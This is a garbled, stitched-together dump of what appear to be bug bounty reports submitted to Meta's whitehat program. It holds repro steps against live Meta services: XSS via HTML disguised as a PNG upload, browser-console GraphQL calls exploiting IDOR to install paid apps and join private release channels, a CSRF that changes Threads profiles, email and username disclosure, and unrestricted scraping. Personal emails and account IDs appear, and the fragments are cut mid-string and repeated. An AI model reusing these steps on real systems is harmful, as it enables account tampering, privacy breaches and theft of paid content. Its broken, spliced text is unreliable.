useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"3","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"https://wearables.developer.meta.com/devcenter , here a user can create a project, project has icon, the image upload here doesnt check if its image or html xss on cdn","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"repro_steps":"1. Create account here : https://wearables.developer.meta.com/devcenter/ 2. Create a project->product listing 3. Create a html file and save it as .png 4. upload malicous png file as icon, while uploading copy cdn url from response demo https://scontent.fjai2-4.fna.fbcdn.net/m1/v/t0.88565-6/An_q84FTi4yMVKN6SVK43p0PrVeCCG40F5zXLAn7hMtgb6XGTHgOEdZ9G4mmgbvLyzBD8SiwBG2H8ZxznSinVhEArKocGk2VHmikUFGw38q2zGwFPoBz?_nc_gid=fbhtTE5Ppw5JsJuZgMb19A&_nc_oc=AdkbWjlM3aroBJHJ0vTu2gBop8F__42DVfeNBe7N3TR8H6h6wZt9-Jlyb7CWULEFVlQ&ccb=10-5&oh=00_AfllZFYiEA97GxzsusY7xGa8dO1ma1z1DTsA_4e2S-XwnA&oe=69351FD5&_nc_sid=16955c","source":"COMET","subject":"xss on cdn using unrestricted file upload","whitehat_private_bounty_type":null}}
9402602493202387
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"5","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"On Meta.ai, when a user enhances an image with AI, both the image and prompt remain private by default. However, if the user chooses to share the image publicly, it becomes permanently public—even if the prompt is later deleted or its visibility is changed to "only me". Imagine accidentally sharing something private with AI on Meta.ai, only to realize later that you can%27t undo it,once it%27s public, it%27s public forever","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"505721206438001","repro_steps":"1. Create two accounts on meta.ai 2. Using one account upload an image and ask AI to enhance it or some edits, and share it 3. Copy imageID, its either base64 encoded value or numeric value 4.Delete prompt 5. Using attacker account call this on console new require(%27AsyncRequest%27) new AsyncRequest(%27/api/graphql?doc_id=9965933940118400&variables={"media_id":"ul2PDIvMeC4","prompt_id":"","prompt_id_is_null":true,"__relay_internal__pv__KadabraImagineCanvasDevSettingsrelayprovider":false}%27).send()","source":"COMET","subject":"[Meta.ai] images remain accessible to any user, even if the original prompt is deleted or set to "only me".","vuln_type":"159350064619250","whitehat_private_bounty_type":null}}
4970913202987411
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100033825612932","log_session_id":"fb266cc1b57e0706c","app_id":"1105469744241801","waba_id":"426104740578633","onboarding_source":"EMBEDDED_SIGNUP_2","display_name":"New Killldosidthedre","business_profile":{"description":"","vertical_class":"EVENT_PLAN","website":"https://ters.com/","websites":["https://ters.com/"]},"partner_business_id":735040197522676}} NOTE : Virtual numbers and test numbers may look similar but serve different purposes. Test numbers can only send messages to admins, while virtual numbers work like real WhatsApp numbers.","source":"COMET","subject":"race condition : create lots of free virtual number for whatsapp","vuln_type":"159350064619250","whitehat_private_bounty_type":null}}
7482680791844416
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"2","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"Meta quest for business : read here https://forwork.meta.com/quest/business-subscription basically its like workplace, but also allows to do something with meta quest device. here there is a feature which shows work related apps to install into meta quest device, the graphql request which is responsible for doing this is vuln with IDOR and allows any app to get installed regardless if its paid or free. free free free games","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"1831817386847453","repro_steps":"1. Create an account on work.meta.com,add device and call this on console new AsyncRequest(%27/api/graphql?variables={"input":{"client_mutation_id":"1","actor_id":"61563045021996","oc_application_id":"APP_ID"},"app_id":"APP_ID"}
25858811387100015
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"external_url":"https://test.com","biography":"I hack Internet for Fun an","is_private":false,"profile_picture_upload_id":null,"remove_profile_picture":false,"copy_ig_profile_picture_to_text_post_app":false,"__relay_internal__pv__BarcelonaIsLinkVerificationEnabledrelayprovider":false}
8108975709165912 click on above link, it will change basic details of account, including making private account to public","source":"COMET","subject":"[threads.net] - No csrf protection","vuln_type":"309076739565597","whitehat_private_bounty_type":null}}
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"applicationID":"[APP_ID]"}
26534466229485935
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"releaseChannelID":""} in response look for "share_token", as copy this value 5. As UserOther call the request on console as asyncRequest : new AsyncRequest(%27https://www.oculus.com/experiences/app/7511991128869408/release-channels/1408163293172550/join?token=%27).send() replace app ID and Release Channel ID, from older invite link which is no longer working in response it should not return any error, If everything goes smooth, UserOther will be able to join release channel","source":"COMET","subject":"a user in release channel can see invite link, which allows other user to join release channel","vuln_type":"159350064619250","whitehat_private_bounty_type":null}}
7595436947177368
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{}
25472786462365728 replace values and done, It will send collab request to victim without having valid code of victim, we can send multiple invitaitons too","source":"COMET","subject":"[Work Meta] Invite any organization/company for external relationship without having "relationship ID"","vuln_type":"159350064619250","whitehat_private_bounty_type":null}}
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{input:{userlists:[1324394708243370],release_channel_id:"1345355396178148"}}
24595242403452990
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"10","userlist_id":"1104277373927150","user_emails":["jan26one@optoelectronicsltd.com"]}}
5566956313411189
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"releaseChannelID":"1091119095413653"}
6976127939112262
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"Feature : "Release channels" let you distribute early versions of your builds to limited audiences for testing or other purposes. You can create public channels for users to subscribe to, or invite different groups of people to private release channels. Read more here : https://developer.oculus.com/resources/publish-release-channels/ Bug : When we invite a user using email address, It returns UID of user in graphql request which shows pending invitation NOTE : I reported similiar report months ago where "5302791553159678" DOC ID were vuln. Meta fixed this issue by returning null in the field of UID, However, Now Team has made some changes and a new doc id(6942317155827346) is replaced which is vuln. email to UID of meta/oculus user","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"1831817386847453","repro_steps":"1. Login into oculus account and navigate to developer.oculus.com/manage, Then a)First create an Organization b)Then create a New App 2. After creating App, navigate to MyApps->Select App which you have recently created->On left side panel click on Distribution->Release channels->Add new user using Email 3. After inviting victim into Channels, call graphql request which shows pending list of users >GraphQL which shows pending user : variables={"after":null,"first":20,"search_term":"","user_type":"PENDING_EMAIL_INVITE","id":"908202637214174"}
6942317155827346 response : {"node":{"email":"sehalmittal1\u0040gmail.com","alias":"websitedonee","is_employee":false,"__typename":"XOCUserlistUser"} here alias is username of supplied email","source":"COMET","subject":"inverse email address disclosure","vuln_type":"159350064619250","whitehat_private_bounty_type":null}}
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"Meta is working on new product called Meta quest for Business, Which is similar to workplace. Just like Workplace it also has option which allows users to login into account using "magic link" Magic link : It is an option which allows a user to login into account without entering password, A link is sent to email address, Using link a user can login into it%27s account. Bug : The magic link is leaking email address of supplied UID Disclosure of email address of Meta quest user","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"505721206438001","repro_steps":"*In order to perform this attack, Malicious user needs two things 1)CID(company ID) 2)UID of victim Create Meta Quest Business and Fetch CID and UID ===== 1) Navigate to https://www.meta.com/work/quest-for-business/getting-started/ 2)Click on Signup for Beta, And create an account (use business email, Temp mails might not work) 3)After successful creation of Business account, Fetch UID from cookie (cookie name c_user) and call this graphql query to get CID. variables={}
9008577672501420 *Response : In response it will return two IDs, You need to copy first one. Attack : Get email address ===== 1)Open a new session and open this link after replace CID and UID https://work.meta.com/work/signin/magic_link/handle_login/?request_id=test
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"email":"oculus1@npsonlinebook.in"}
5438618626157670 5. We can see the profile picture and public details of userid fetched from above URL by navigating to https://www.oculus.com/deeplink/?action=view
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"2","actor_id":"1010101","product_group_id":"6943000632408441","shop_id":"3632794253406075","visibility_update_action":"HIDE_AND_REMOVE"},"inventoryType":null,"shopID":"3632794253406075"} In response It should not return any error. Change the value of visibility_update_action to UNHIDE_AND_ADD to add a product.","source":"COMET","subject":"Any user can hide/add product in commerce shop","vuln_type":"274084149744118","whitehat_private_bounty_type":null}}
4406236179392688 In response It will return "MiniShopStorefront" Copy that ID. c)Now final request which makes the product hide/unhide : doc_id=5078615608934465
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100033825612932","attachments_v2":[{"handle":"3:U2NyZWVuc2hvdCUyMDIwMjItMDctMDYlMjBhdCUyMDMuMDkuNTAlMjBBTS5wbmc=:aW1hZ2UvcG5n:ARYkl4XdeSzfo2ASpmMr7wihB55hHovE7z7ek8VPIeL_b9w86XqQAK8Hg4pzOayVB76xNXqhIiXlplrcx4X94JSoau7bWvIjTIBLNUY7MsJs2w:e:1657402834:ARb0Xg2bnSRoH7JTM3E","name":"Screenshot 2022-07-06 at 3.09.50 AM.png"}],"collaborators":[],"description":"Marketplace ( https://www.facebook.com/marketplace/ ) : It is a feature which allows user to sell/buy products on Facebook. If a user violates marketplace policy user gets banned from accessing marketplace. Facebook Groups : There are different sub sets can be added to FB groups, One of them is buy
3942272735851468
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100033825612932","attachments_v2":[],"collaborators":[],"description":"Facebook is working on a new product where page admins can send marketing messages to subscribers. Admin can customized email by its preferences, It also allows Admin to add "Sender Email", Admin can have more than one Sender Email, The sender email needs to be verified first. Email marketing feature comes under "Leads Center" feature. BUG : The graphql mutation which verify 5 digits code is not rate limited. A malicious page admin can send marketing messages on behalf of any email address.","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"803196579846402","repro_steps":"Users: UserOne Environment: UserOne is Admin of PageOne Browser: n/a OS: n/a 1. This is new feature in "leads center" called email marketing, You can access it by going https://business.facebook.com/latest/email_marketing?asset_id=
4773726995992800 This is vulnerable and lacking the proper rate limit. Thanks","source":"COMET","subject":"Missing rate limit while verifing sender email on email marketing","vuln_type":"817832495042950","whitehat_private_bounty_type":null}}
--------------------------------------------------
useWhitehatReportVulnerabilityFormCreateMutation run FBDL
{"input":{"client_mutation_id":"1","actor_id":"100004933711303","attachments_v2":[],"collaborators":[],"description":"There is a graphql query which returns profile picture of supplied user, The query has no protection against scrapping. scrape profile picture in scale","fbdl_run_id":null,"funnel_session":"","incomplete_fix_of_id":null,"product_area":"476930452665646","repro_steps":"1. run this graphql query with different UID everytime : variables={"videoID":"","userID":""}
3186340558047774 It will return profile picture of supplied user. PS : I am able to request around ~10k before getting rate limited, the safe limit should be around ~200.","source":"COMET","subject":"Doc_id 3186340558047774 is not properly rate limited","vuln_type":"817832495042950","whitehat_private_bounty_type":"395677605577613"}}
--------------------------------------------------
9402602493202387,4970913202987411,7482680791844416,25858811387100015,8108975709165912 click on above link, it will change basic details of account, including making private account to public","source":"COMET","subject":"[threads.net] - No csrf protection","vuln_type":"309076739565597","whitehat_private_bounty_type":null}},26534466229485935,7595436947177368,25472786462365728 replace values and done, It will send collab request to victim without having valid code of victim, we can send multiple invitaitons too","source":"COMET","subject":"[Work Meta] Invite any organization/company for external relationship without having "relationship ID"","vuln_type":"159350064619250","whitehat_private_bounty_type":null}},24595242403452990,5566956313411189,6976127939112262,6942317155827346 response : {"node":{"email":"sehalmittal1\u0040gmail.com","alias":"websitedonee","is_employee":false,"__typename":"XOCUserlistUser"} here alias is username of supplied email","source":"COMET","subject":"inverse email address disclosure","vuln_type":"159350064619250","whitehat_private_bounty_type":null}},9008577672501420 *Response : In response it will return two IDs, You need to copy first one. Attack : Get email address ===== 1)Open a new session and open this link after replace CID and UID https://work.meta.com/work/signin/magic_link/handle_login/?request_id=test,5438618626157670 5. We can see the profile picture and public details of userid fetched from above URL by navigating to https://www.oculus.com/deeplink/?action=view,4406236179392688 In response It will return "MiniShopStorefront" Copy that ID. c)Now final request which makes the product hide/unhide : doc_id=5078615608934465,3942272735851468,4773726995992800 This is vulnerable and lacking the proper rate limit. Thanks","source":"COMET","subject":"Missing rate limit while verifing sender email on email marketing","vuln_type":"817832495042950","whitehat_private_bounty_type":null}},3186340558047774 It will return profile picture of supplied user. PS : I am able to request around ~10k before getting rate limited, the safe limit should be around ~200.","source":"COMET","subject":"Doc_id 3186340558047774 is not properly rate limited","vuln_type":"817832495042950","whitehat_private_bounty_type":"395677605577613"}}
,4970913202987411,9402602493202387